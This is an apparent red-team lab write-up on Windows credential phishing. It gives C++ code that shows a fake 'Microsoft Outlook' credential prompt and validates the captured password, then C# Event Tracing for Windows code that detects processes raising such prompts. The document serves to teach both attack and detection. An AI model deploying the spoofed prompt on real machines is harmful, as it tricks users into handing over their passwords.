offensive security
Credentials Collection via CredUIPromptForCredentials
Purpose
The purpose of this lab is to twofold:
- 1.write some code that invokes Windows credential prompt, that would allow malware or an attacker to collect targeted user's credentials once they are on the compromised machine
- 2.write some ETW code that detects processes invoking credential prompts
Stealing User Credentials
It is possible to collect user credentials with the below code:
credentialsprompt.cpp
1
#include <iostream>
2
#include <Windows.h>
3
#include <wincred.h>
4
​
5
#pragma comment(lib, "Credui.lib")
6
​
7
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
8
{
9
CREDUI_INFO ci = { sizeof(ci) };
10
std::wstring promptCaption = L"Microsoft Outlook";
11
std::wstring promptMessage = L"Connecting to [email protected]";
12
ci.pszCaptionText = (PCWSTR)promptCaption.c_str();
13
ci.pszMessageText = (PCWSTR)promptMessage.c_str();
14
​
15
WCHAR username[255] = {};
16
WCHAR password[255] = {};
17
DWORD result = 0;
18
​
19
result = CredUIPromptForCredentialsW(&ci, L".", NULL, 5, username, 255, password, 255, FALSE, CREDUI_FLAGS_GENERIC_CREDENTIALS);
20
if (result == ERROR_SUCCESS)
21
{
22
HANDLE newToken = NULL;
23
BOOL credentialsValid = FALSE;
24
​
25
credentialsValid = LogonUserW(username, NULL, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &newToken);
26
if (credentialsValid)
27
{
28
// valid credentials provided
29
}
30
else
31
{
32
// invalid credentials provided
33
}
34
}
35
else if (result == ERROR_CANCELLED)
36
{
37
// no credentials provided
38
}
39
​
40
return 0;
41
}
Copied!
Although in this lab I am using
CredUIPromptForCredentials for invoking credentials prompt, you should be using CredUIPromptForWindowsCredentials​If we compile and run the above code, we get a credential prompt, that captures user's credentials in plain text, which we could then save to a file or send out over the internet:
The above credential prompt can also be invoked with PowerShell cmdlet
Get-Credential.Detecting Credential Prompts
As a defender, one may want to know what processes are popping these credential prompts, so that malicious ones could be detected - i.e if you are notified that suddenly some unusual process showed a prompt, it may mean that the process is infected and the machine is compromised.
Detection of programs showing credential prompts is possible with Event Tracing for Windows (EWT) - Microsoft-Windows-CredUI provider to the rescue:
Looking at the provider Microsoft-Windows-CredUI in ETWExplorer, we can see that it can provide consumers with events for both
CredUIPromptForCredentials and CredUIPromptForWindowsCredentials invokations:
We can create an ETW tracing session and subscribe to events from Microsoft-Windows-CredUI provider with C# like so:
credentialsprompt-detection.cs
1
# based on https://github.com/zodiacon/DotNextSP2019/blob/master/SimpleConsumer/Program.cs
2
using Microsoft.Diagnostics.Tracing.Session;
3
using System;
4
using System.Collections.Generic;
5
using System.Diagnostics;
6
using System.Linq;
7
using System.Text;
8
using System.Threading.Tasks;
9
​
10
namespace SimpleConsumer
11
{
12
static class Programa
13
{
14
static void Main(string[] args)
15
{
16
using (var session = new TraceEventSession("spotless-credential-prompt"))
17
{
18
Console.CancelKeyPress += delegate {
19
session.Source.StopProcessing();
20
session.Dispose();
21
};
22
​
23
session.EnableProvider("Microsoft-Windows-CredUI", Microsoft.Diagnostics.Tracing.TraceEventLevel.Always);
24
var parser = session.Source.Dynamic;
25
parser.All += e => {
26
if (e.OpcodeName == "Start")
27
{
28
Console.WriteLine(quot;{e.TimeStamp} > Credential Prompt detected in {Process.GetProcessById(e.ProcessID).ProcessName}.exe (PID={e.ProcessID})");
29
}
30
};
31
session.Source.Process();
32
}
33
}
34
}
35
}
Copied!
Demo
Below shows RogueCredentialsPrompt.exe and Powershell.exe invoking Windows credential prompts and our simple consumer program detecting that activity:
References
ETW: Event Tracing for Windows 101
Red Teaming Experiments
GitHub - zodiacon/DotNextSP2019: DotNext 2019 St. Petersburg Talk Demos
GitHub
CredUIPromptForCredentialsA function (wincred.h) - Win32 apps
docsmsft